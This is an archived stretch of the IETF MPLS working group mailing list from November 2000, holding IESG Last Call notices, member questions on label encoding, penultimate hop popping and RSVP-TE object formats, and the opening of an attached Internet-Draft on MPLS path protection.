GMT Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjqdz20045 for ; Mon, 20 Nov 2000 19:51:56 GMT Received: from pilgrim.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjqdz04127 for ; Mon, 20 Nov 2000 19:51:55 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id OAA29709 for mpls@uu.net; Mon, 20 Nov 2000 14:51:55 -0500 (EST) Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjqdz25437 for ; Mon, 20 Nov 2000 19:51:25 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjqdz06464 for ; Mon, 20 Nov 2000 19:50:21 GMT Received: from ietf.org by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: odin.ietf.org [132.151.1.176]) id QQjqdz01738 for ; Mon, 20 Nov 2000 19:50:20 GMT Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA03346; Mon, 20 Nov 2000 14:50:19 -0500 (EST) Message-Id: <200011201950.OAA03346@ietf.org> To: IETF-Announce:; Cc: mpls@UU.NET From: The IESG SUBJECT: Last Call: Constraint-Based LSP Setup using LDP to Proposed Standard Reply-to: iesg@ietf.org Date: Mon, 20 Nov 2000 14:50:19 -0500 Sender: owner-mpls@UU.NET Precedence: bulk The IESG has received a request from the Multiprotocol Label Switching Working Group to consider the following o Constraint-Based LSP Setup using LDP as a Proposed Standard. o Applicability Statement for CR-LDP as an Informational RFC o LSP Modification Using CR-LDP as a Proposed Standard. o LDP State Machine as an Informational RFC. o Definitions of Managed Objects for the Multiprotocol Label Switching, Label Distribution Protocol (LDP) as a Proposed Standard. The IESG plans to make a decision in the next few weeks, and solicits final comments on this action. Please send any comments to the iesg@ietf.org or ietf@ietf.org mailing lists by December 4, 2000. Files can be obtained via http://www.ietf.org/internet-drafts/draft-ietf-mpls-cr-ldp-04.txt http://www.ietf.org/internet-drafts/draft-ietf-mpls-crldp-applic-01.txt http://www.ietf.org/internet-drafts/draft-ietf-mpls-crlsp-modify-02.txt http://www.ietf.org/internet-drafts/draft-ietf-mpls-ldp-state-03.txt http://www.ietf.org/internet-drafts/draft-ietf-mpls-ldp-mib-07.txt From owner-mpls@UU.NET Mon Nov 20 14:58:19 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA04742 for ; Mon, 20 Nov 2000 14:58:19 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjqdz11122; Mon, 20 Nov 2000 19:56:36 GMT Received: by mail-control.mail.uu.net id QQjqdz25792 for mpls-outgoing; Mon, 20 Nov 2000 19:56:05 GMT Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjqdz25745 for ; Mon, 20 Nov 2000 19:55:58 GMT Received: from cmr2.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjqdz19156 for ; Mon, 20 Nov 2000 19:55:44 GMT Received: from nexen.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: maelstrom.nexen.com [204.249.97.5]) id QQjqdz04848 for ; Mon, 20 Nov 2000 19:55:43 GMT Received: from phish.nexen.com (phish [204.249.97.14]) by nexen.com (8.11.0/8.11.0) with ESMTP id eAKJtil24525 for ; Mon, 20 Nov 2000 14:55:44 -0500 (EST) Received: from nexen.com (bhome [204.249.97.124]) by phish.nexen.com (8.8.5/8.8.5) with ESMTP id OAA16921 for ; Mon, 20 Nov 2000 14:55:35 -0500 (EST) Message-ID: <3A1981BE.4255F05B@nexen.com> Date: Mon, 20 Nov 2000 14:55:42 -0500 From: Mark Stewart X-Mailer: Mozilla 4.7 [en] (Win95; U) X-Accept-Language: en MIME-Version: 1.0 To: mpls@UU.NET Subject: MPLS Label Stack Encoding Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit Hi All "draft-ietf-mpls-label-encaps-08.txt" defines distinct protocol/ethertype fields for MPLS unicast and MPLS multicast. I find it strange to add address space information to the protocol type field, and am curious if someone can clarify why this separation of label spaces was mandated? Further I am curious as to what constitutes an MPLS multicast packet in this case. Does it apply on a specific hop, or must the multicast property be preserved end to end? Can a multicast packet be tunneled through a unicast LSP? ciao mark From owner-mpls@UU.NET Mon Nov 20 15:04:41 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA06360 for ; Mon, 20 Nov 2000 15:04:41 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjqea20704; Mon, 20 Nov 2000 20:02:51 GMT Received: by mail-control.mail.uu.net id QQjqea01001 for mpls-outgoing; Mon, 20 Nov 2000 20:02:28 GMT Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjqea00919 for ; Mon, 20 Nov 2000 20:02:22 GMT Received: from cmr0.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjqea03006 for ; Mon, 20 Nov 2000 20:02:15 GMT Received: from pilgrim.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjqea00937 for ; Mon, 20 Nov 2000 20:02:15 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id PAA01948 for mpls@uu.net; Mon, 20 Nov 2000 15:02:14 -0500 (EST) Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjqea29777 for ; Mon, 20 Nov 2000 20:01:53 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjqea00271 for ; Mon, 20 Nov 2000 20:00:19 GMT Received: from ietf.org by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: odin.ietf.org [132.151.1.176]) id QQjqea16949 for ; Mon, 20 Nov 2000 20:00:19 GMT Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA05305; Mon, 20 Nov 2000 15:00:17 -0500 (EST) Message-Id: <200011202000.PAA05305@ietf.org> To: IETF-Announce:; Cc: mpls@UU.NET From: The IESG SUBJECT: Last Call: Carrying Label Information in BGP-4 to Proposed Standard Reply-to: iesg@ietf.org Date: Mon, 20 Nov 2000 15:00:17 -0500 Sender: owner-mpls@UU.NET Precedence: bulk The IESG has received a request from the Multiprotocol Label Switching Working Group to consider Carrying Label Information in BGP-4 as a Proposed Standard. The IESG plans to make a decision in the next few weeks, and solicits final comments on this action. Please send any comments to the iesg@ietf.org or ietf@ietf.org mailing lists by December 4, 2000. Files can be obtained via http://www.ietf.org/internet-drafts/draft-ietf-mpls-bgp4-mpls-04.txt From owner-mpls@UU.NET Mon Nov 20 15:07:51 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA07153 for ; Mon, 20 Nov 2000 15:07:50 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjqea06872; Mon, 20 Nov 2000 20:05:48 GMT Received: by mail-control.mail.uu.net id QQjqea03190 for mpls-outgoing; Mon, 20 Nov 2000 20:05:09 GMT Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjqea03153 for ; Mon, 20 Nov 2000 20:05:05 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjqea10982 for ; Mon, 20 Nov 2000 20:04:51 GMT Received: from srnex01.sd.osicom.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: [63.200.199.147]) id QQjqea23865 for ; Mon, 20 Nov 2000 20:04:50 GMT Received: by srnex01.sd.osicom.com with Internet Mail Service (5.5.2650.21) id ; Mon, 20 Nov 2000 12:04:43 -0800 Message-ID: From: "Guo, Dan" To: "'dnrc.bell-labs.com'" , zhwang@UU.NET Cc: "'mpls@uu.net'" Subject: The use of php and why Date: Mon, 20 Nov 2000 12:04:43 -0800 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C0532D.1F674830" Sender: owner-mpls@UU.NET Precedence: bulk This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C0532D.1F674830 Content-Type: text/plain; charset="iso-8859-1" I come across the following Question-&-answer in the archive of mpls mailing list. Can someone clarify the operation (and motivation) of PHP? I really like to know in what scenario this is carried out. It appears this causes confusion in our mailing list discussion. My fuzzy understanding is that label value 3 and so called penultimate hop popping is used in label distribution phase ( ie. signalling or set up of LSP). When the time comes to do label-switching for forwarding data, it is the business as usual - we use incoming label and ILM to figure out the outgoing data port and NHFLE is then used to extract next label . thanks in advance, Dan --------------------------------------------------------- From: Shahram Davari > * Date: Tue, 21 Mar 2000 12:22:47 -0800 Hi, The incoming label is used to determine the next hop. This is called Penultimate Hop Popping (PHP). -Shahram >-----Original Message----- >From: Zheng Wang [] >Sent: Monday, March 20, 2000 3:50 PM >To: mpls@UU.NET >Subject: question on draft-ietf-mpls-label-encaps-07.txt > > >I dont know if someone has raised this question or not. >The label value 3 is reserved for Implicit NULL Label. >The draft says: > > iv. A value of 3 represents the "Implicit NULL Label". > This is a label that an LSR may assign and distribute, > but which never actually appears in the encapsulation. > When an LSR would otherwise replace the label at the > top of the stack with a new label, but the >new label is > "Implicit NULL", the LSR will pop the stack instead of > doing the replacement. Although this value may never > appear in the encapsulation, it needs to be specified > in the Label Distribution Protocol, so a value is > reserved. > >My question is which label is used to determine the next hop in this >case, the imcoming label or the new top label after the popping of the >stack? > >Thanks in advance >Cheers >Zheng > ---- Dan Guo Sorrento Networks +1 - 858- 450-4964 ------_=_NextPart_001_01C0532D.1F674830 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable The use of php and why

I come across the following = Question-&-answer in the archive of mpls mailing list. Can someone = clarify the operation (and motivation) of PHP? I really like to know in = what scenario this is carried out. It appears this causes confusion in = our mailing list discussion.

My fuzzy understanding is that = label value 3 and so called penultimate hop popping is used in label = distribution phase ( ie. signalling or set up of LSP). When the time = comes to do label-switching for forwarding data, it is the business as = usual - we use incoming label and ILM to figure out the outgoing data = port and NHFLE is then used to extract next label .

thanks in advance,
Dan
---------------------------------------------------------<= /B>
From: Shahram Davari <Shahram_Davari@pmc-sierra.com <mailto:Shahram_Davari@pmc-= sierra.com>>

    • Date: Tue, 21 Mar 2000 12:22:47 -0800

Hi,

The incoming label is used to = determine the next hop. This is called
Penultimate Hop Popping = (PHP).

-Shahram

>-----Original = Message-----
>From: Zheng Wang = [<mailto:zhwang@dnrc.bell-labs.c= om>]
>Sent: Monday, March 20, = 2000 3:50 PM
>To: mpls@UU.NET
>Subject: question on = draft-ietf-mpls-label-encaps-07.txt
>
>
>I dont know if someone has = raised this question or not.
>The label value 3 is = reserved for Implicit NULL Label.
>The draft says:
>
>           = iv. A value of 3 represents the "Implicit NULL Label".
>          &nb= sp;      This is a label that an LSR may = assign and distribute,
>          &nb= sp;      but which never actually appears in = the encapsulation.
>          &nb= sp;      When an LSR would otherwise replace = the label at the
>          &nb= sp;      top of the stack with a new label, = but the
>new label is
>          &nb= sp;      "Implicit NULL", the LSR = will pop the stack instead of
>          &nb= sp;      doing the replacement.  Although = this value may never
>          &nb= sp;      appear in the encapsulation, it needs = to be specified
>          &nb= sp;      in the Label Distribution Protocol, = so a value is
>          &nb= sp;      reserved.
>
>My question is which label = is used to determine the next hop in this
>case, the imcoming label or = the new top label after the popping of the
>stack?
>
>Thanks in advance
>Cheers
>Zheng
>

----
Dan Guo
Sorrento Networks
+1 - 858- 450-4964

------_=_NextPart_001_01C0532D.1F674830-- From owner-mpls@UU.NET Mon Nov 20 15:23:17 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA10764 for ; Mon, 20 Nov 2000 15:23:17 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjqeb06754; Mon, 20 Nov 2000 20:21:31 GMT Received: by mail-control.mail.uu.net id QQjqeb09652 for mpls-outgoing; Mon, 20 Nov 2000 20:21:01 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjqeb09641 for ; Mon, 20 Nov 2000 20:20:49 GMT Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjqeb19981 for ; Mon, 20 Nov 2000 20:20:15 GMT Received: from pilgrim.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjqeb23869 for ; Mon, 20 Nov 2000 20:20:14 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id PAA05238 for mpls@uu.net; Mon, 20 Nov 2000 15:20:13 -0500 (EST) Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjqeb09508 for ; Mon, 20 Nov 2000 20:17:43 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjqeb10843 for ; Mon, 20 Nov 2000 20:16:35 GMT Received: from ietf.org by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: odin.ietf.org [132.151.1.176]) id QQjqeb18665 for ; Mon, 20 Nov 2000 20:16:35 GMT Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA09378; Mon, 20 Nov 2000 15:16:34 -0500 (EST) Message-Id: <200011202016.PAA09378@ietf.org> To: IETF-Announce:; Cc: mpls@UU.NET From: The IESG SUBJECT: Last Call: MPLS Label Switch Router Management Information Base Using SMIv2 to Proposed Standard Reply-to: iesg@ietf.org Date: Mon, 20 Nov 2000 15:16:33 -0500 Sender: owner-mpls@UU.NET Precedence: bulk The IESG has received a request from the Multiprotocol Label Switching Working Group to consider MPLS Label Switch Router Management Information Base Using SMIv2 as a Proposed Standard. The IESG plans to make a decision in the next few weeks, and solicits final comments on this action. Please send any comments to the iesg@ietf.org or ietf@ietf.org mailing lists by December 4, 2000. Files can be obtained via http://www.ietf.org/internet-drafts/draft-ietf-mpls-lsr-mib-06.txt From owner-mpls@UU.NET Mon Nov 20 15:54:54 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA15462 for ; Mon, 20 Nov 2000 15:54:54 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjqed29021; Mon, 20 Nov 2000 20:53:20 GMT Received: by mail-control.mail.uu.net id QQjqed12135 for mpls-outgoing; Mon, 20 Nov 2000 20:52:46 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjqed12128 for ; Mon, 20 Nov 2000 20:52:39 GMT Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjqed00350 for ; Mon, 20 Nov 2000 20:52:24 GMT Received: from mail-blue.research.att.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-blue.research.att.com [135.207.30.102]) id QQjqed27502 for ; Mon, 20 Nov 2000 20:52:24 GMT Received: from bigmail.research.att.com (bigmail.research.att.com [135.207.30.101]) by mail-blue.research.att.com (Postfix) with ESMTP id C901B4CE62; Mon, 20 Nov 2000 15:52:23 -0500 (EST) Received: from research.att.com (dhcp-new47.research.att.com [135.207.19.47]) by bigmail.research.att.com (8.8.8/8.8.8) with ESMTP id PAA06705; Mon, 20 Nov 2000 15:52:23 -0500 (EST) Message-ID: <3A198F36.78E8E843@research.att.com> Date: Mon, 20 Nov 2000 15:53:10 -0500 From: Guangzhi Li X-Mailer: Mozilla 4.7 [en] (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: iesg@ietf.org Cc: mpls@UU.NET Subject: Re: Last Call: RSVP-TE: Extensions to RSVP for LSP Tunnels toProposed Standard References: <200011201815.NAA14966@ietf.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit Hi, Could somebody explain: In RSVP-TE section 4.4.1.1 Subobject 1: IPv4 address The format is (1) +-------------+--------------+----------------------------+ | Type | Length | IPv4 address | +----------------------------+--------------+-------------+ | IPv4 | Prefix Length | Flags | +-----------------------------+-------------+-------------+ instead of (2) +-------------+--------------+-------------+-------------+ | Type | Length | Prefix Length | Flags | +---------------------------------------------------------+ | IPv4 address | +---------------------------------------------------------+ Format (2) is much easy to be implemented. What is the advantage for using format (1) ?? -- Li The IESG wrote: > The IESG has received a request from the Multiprotocol Label Switching > Working Group to consider RSVP-TE: Extensions to RSVP for LSP Tunnels > as a Proposed Standard. From owner-mpls@UU.NET Mon Nov 20 16:30:14 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA20405 for ; Mon, 20 Nov 2000 16:30:13 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjqef25643; Mon, 20 Nov 2000 21:28:10 GMT Received: by mail-control.mail.uu.net id QQjqef26982 for mpls-outgoing; Mon, 20 Nov 2000 21:27:38 GMT Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjqef26977 for ; Mon, 20 Nov 2000 21:27:38 GMT Received: from cmr0.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjqef26475 for ; Mon, 20 Nov 2000 21:26:47 GMT Received: from sj-msg-core-2.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: sj-msg-core-2.cisco.com [171.69.43.88]) id QQjqef29178 for ; Mon, 20 Nov 2000 21:26:45 GMT Received: from erosen-sun.cisco.com (erosen-sun.cisco.com [161.44.134.50]) by sj-msg-core-2.cisco.com (8.9.3/8.9.1) with ESMTP id NAA29966 for ; Mon, 20 Nov 2000 13:26:43 -0800 (PST) Received: (erosen@localhost) by erosen-sun.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) id QAA13936 for mpls@uu.net; Mon, 20 Nov 2000 16:26:42 -0500 (EST) Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjqdx23174 for ; Mon, 20 Nov 2000 19:18:29 GMT Received: from cmr2.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjqdx19094 for ; Mon, 20 Nov 2000 19:17:16 GMT Received: from mx4.tellabs.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mx4.tellabs.com [204.68.180.54]) id QQjqdx28946 for ; Mon, 20 Nov 2000 19:17:16 GMT Received: from mail.hq.tellabs.com (mail.bb.tellabs.com [138.111.51.100]) by mx4.tellabs.com (Mirapoint) with ESMTP id AAH12056; Mon, 20 Nov 2000 13:17:09 -0600 (CST) Received: from tellabs.com ([192.168.31.100] (may be forged)) by mail.hq.tellabs.com (8.8.6 (PHNE_17135)/8.8.6) with ESMTP id NAA26562; Mon, 20 Nov 2000 13:17:04 -0600 (CST) Message-ID: <3A1978AB.D38D7044@tellabs.com> Date: Mon, 20 Nov 2000 13:16:59 -0600 From: Ken Owens X-Mailer: Mozilla 4.72 [en] (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: internet-drafts@ietf.org, MPLSWG Subject: draft-chang-mpls-path-protection-02.txt Content-Type: multipart/mixed; boundary="------------EA57B38E7DCBC5418FC8E044" Sender: owner-mpls@UU.NET Precedence: bulk This is a multi-part message in MIME format. --------------EA57B38E7DCBC5418FC8E044 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Hi, Please find attached the updated draft draft-chang-mpls-path-protection-02.txt. Thanks, Ken --------------EA57B38E7DCBC5418FC8E044 Content-Type: text/plain; charset=iso-8859-1; name="draft_chang_mpls_path_protection_02.txt" Content-Disposition: inline; filename="draft_chang_mpls_path_protection_02.txt" X-MIME-Autoconverted: from 8bit to quoted-printable by cmr1.ash.ops.us.uu.net id QQjqef25643 Content-Transfer-Encoding: quoted-printable IETF Draft Ken Ow= ens=20 Multi-Protocol Label Switching Srinivas Ma= kam=20 Expires: May 2001 Vishal Sha= rma=20 Ben Mack-Cr= ane=20 Tellabs Operations, I= nc.=20 = =20 Changcheng Hu= ang=20 Carleton Univers= ity=20 = =20 November 2= 000=20 =20 A Path Protection/Restoration Mechanism for MPLS Networks = =20 = =20 = =20 =20 Status of this memo=20 =20 This document is an Internet-Draft and is in full conformance with= =20 all provisions of Section 10 of RFC2026.=20 =20 Internet-Drafts are working documents of the Internet Engineering=20 Task Force (IETF), its areas, and its working groups. Note that=20 other groups may also distribute working documents as Internet- Drafts. =20 =20 Internet-Drafts are draft documents valid for a maximum of six=20 months and may be updated, replaced, or obsoleted by other documen= ts=20 at any time. It is inappropriate to use Internet- Drafts as=20 reference material or to cite them other than as "work in progress= ."=20 =20 The list of current Internet-Drafts can be accessed at=20 http://www.ietf.org/ietf/1id-abstracts.txt=20 =20 The list of Internet-Draft Shadow Directories can be accessed at=20 http://www.ietf.org/shadow.html=20 =20 =20 Abstract=20 =20 It is expected that MPLS-based recovery could become a viable opti= on=20 for obtaining faster restoration than layer 3 rerouting. To delive= r=20 reliable service, however, multi-protocol label switching (MPLS)[1= ],=20 [2] requires a set of procedures to provide protection of the=20 traffic carried on the label switched paths (LSPs). This imposes=20 certain requirements on the path recovery process [3], and require= s=20 procedures for the configuration of working and protection paths,=20 for the communication of fault information to appropriate switchin= g=20 elements, and for the activation of appropriate switchover actions= .=20 This document specifies a mechanism for path protection switching=20 and restoration in MPLS networks. =20 =20 =20 Chang et al [Page 1= ]=20 IETF Draft A Path Protection Mechanism for MPLS Networks July 200= 0=20 =20 Table of Contents Pag= e =20 1. Introduction = 2=20 2. Purpose and Motivation = 3=20 3. Key Features of the Proposed Mechanism = 4=20 4. Core MPLS Path Protection Components = 6=20 4.1 Reverse Notification Tree (RNT) = 7=20 4.2 Protection Domain = 10=20 4.3 Multiple Faults = 11=20 4.4 Timers and Thresholds = 12=20 5.0 Configuration = 13=20 5.1 Establishing a Protection Domain = 13=20 5.1.1 Explicit Route Protection Information = 14=20 5.1.2 Path Protection InformationInformation = 15=20 5.2 Establishing a Recovery/Protection Path = 16=20 5.3 Creating an RNT = 16=20 5.4 Engineering a Protection Domain = 17=20 5.5 Configuring Timers = 18=20 6.0 Fault Detection = 20=20 7.0 Fault Notification = 21=20 8.0 Switch Over = 22=20 9.0 Switchback or Restoration = 22=20 10.0 Protocol Specific Extensions = 23=20 11.0 Security Considerations = 23=20 12.0 Acknowledgements = 23=20 13.0 Intellectual Property Considerations = 23=20 14.0 Authors=92 Addresses = 23=20 15.0 References = 24=20 =20 1.0 Introduction=20 =20 With the migration of real-time and high-priority traffic to IP =20 networks, and with the need for IP networks to increasingly carry=20 mission-critical business data, network survivability has become=20 critical for future IP networks. Current routing algorithms, despi= te=20 being robust and survivable, can take a substantial amount of time= ,=20 to recover from a failure, on the order of several seconds to=20 minutes, which can cause serious disruption of service in the=20 interim. This is unacceptable for many applications that require a= =20 highly reliable service, and has motivated network providers to gi= ve=20 serious consideration to the issue of network survivability. =20 =20 Path-oriented technologies, such as MPLS, can be used to support =20 advanced survivability requirements and enhance the reliability of= =20 IP networks. Different from legacy IP networks, MPLS networks=20 establish label switched paths (LSPs), where packets with the same= =20 label follow the same path. This potentially allows MPLS networks = to=20 pre-establish protection LSPs for working LSPs, and achieve better= =20 protection switching times than those in legacy IP networks. With=20 this objective in mind, the present contribution describes a=20 mechanism to protect paths (or path segments) in MPLS networks.=20 Before discussing the specifics of this contribution, we first=20 outline the major components of a path protection solution, and=20 =20 Chang et al. Expires January 2001 [Page 2= ]=20 IETF Draft A Path Protection Mechanism for MPLS Networks July 200= 0=20 =20 point out those that are within the scope of this document. A=20 complete solution for path protection requires the following=20 components:=20 (i) A method for selecting the working and protection paths.=20 (ii) A method for signaling the setup of the working and protectio= n=20 paths.=20 (iii) A fault detection mechanism to detect faults along a path.=20 (iv) A fault notification mechanism, to convey information about t= he=20 occurrence of a fault to a network entity responsible for=20 reacting to the fault and taking appropriate corrective actio= n.=20 (v) A switchover mechanism to move traffic over from the working=20 path to the protection path.=20 (vi) A repair detection mechanism, to detect that a fault along a=20 path has been repaired. =20 (vii) An (optional) switchback or restoration mechanism, for=20 switching traffic back to the original working path, once it= =20 is discovered that the fault has corrected or has been=20 repaired.=20 =20 Observe that component (i) consists of algorithms and techniques=20 that are used to select the working and protection paths based on=20 specific criteria, established via policy or other constraints, an= d=20 can be proprietary. It is therefore not subject to standardization= ,=20 and is outside the scope of this draft. Therefore, the protection=20 mechanism described later assumes that the working and protection=20 paths are known to the LSR responsible for path setup, and are=20 either communicated to it or are calculated by some intelligence a= t=20 that LSR. Component (ii), which involves establishing the working=20 and protection paths via signaling, is within the scope of the=20 draft, and is discussed in Section 3.1. =20 =20 A detailed specification of fault detection mechanisms is outside=20 the scope of this draft, but the specification of how the path=20 protection mechanism works with different fault detection methods = is=20 in scope, and is discussed in Section 5. In particular, we conside= r=20 how the mechanism works for two practical cases of interest: (a)=20 when only the end node of a path is responsible for detecting=20 faults, and (b) when all the nodes along the path are responsible=20 for detecting faults. The main focus of this draft is the=20 specification of an efficient fault notification mechanism that=20 takes LSP merging into account (irrespective of whether they are=20 physically or virtually merged). Switchover and switchback=20 mechanisms also are also within the scope of the draft, but=20 component (vi) is outside the scope of the draft, so the draft doe= s=20 not specify the details of the mechanisms used to detect that a=20 fault has been repaired.=20 =20 2.0 Motivation and Purpose=20 =20 The framework document [3] lays out the various options for MPLS- based restoration/recovery. However, candidate approaches=20 corresponding to various viable recovery options are still needed.= =20 Our work on proposing a path protection mechanism for MPLS network= s=20 is motivated by the belief that path protection (in conjunction wi= th=20 =20 Chang et al. Expires January 2001 [Page 3= ]=20 IETF Draft A Path Protection Mechanism for MPLS Networks July 200= 0=20 local repair) will be needed for truly reliable network operation.= =20 The purpose of this contribution is to propose a path protection=20 mechanism that is:=20 (i) fast (compared to Layer 3, with the goal of being comparable t= o=20 SONET),=20 (ii) scalable,=20 (iii)bandwidth efficient,=20 (iv)allows for path merging (i.e., is merging compatible), and=20 (v) works at the MPLS layer (that is, only uses knowledge that is=20 commonly available to MPLS routing and signaling modules).=20 =20 The major differences between this 02 version and the previous 01=20 version are:=20 =20 -- Protection domain configuration details=20 =20 -- Protection domain configuration information elements added=20 =20 3.0 Key Features of the Proposed Mechanism=20 =20 This contribution describes an MPLS-based path recovery mechanism=20 that can facilitate fast protection switching. The mechanism=20 currently supports 1:1 protection [3]. =20 Bypass tunneling is for further study. First, because tunnel setup= =20 itself is not adequately defined yet, and second, because even=20 assuming a tunnel could be setup, in the presence of tunnels (or=20 tunneled segments) the mechanism still requires the ability to set= up=20 bi-directional tunnels, which is not defined yet. The mechanism h= as=20 several timers to enable it 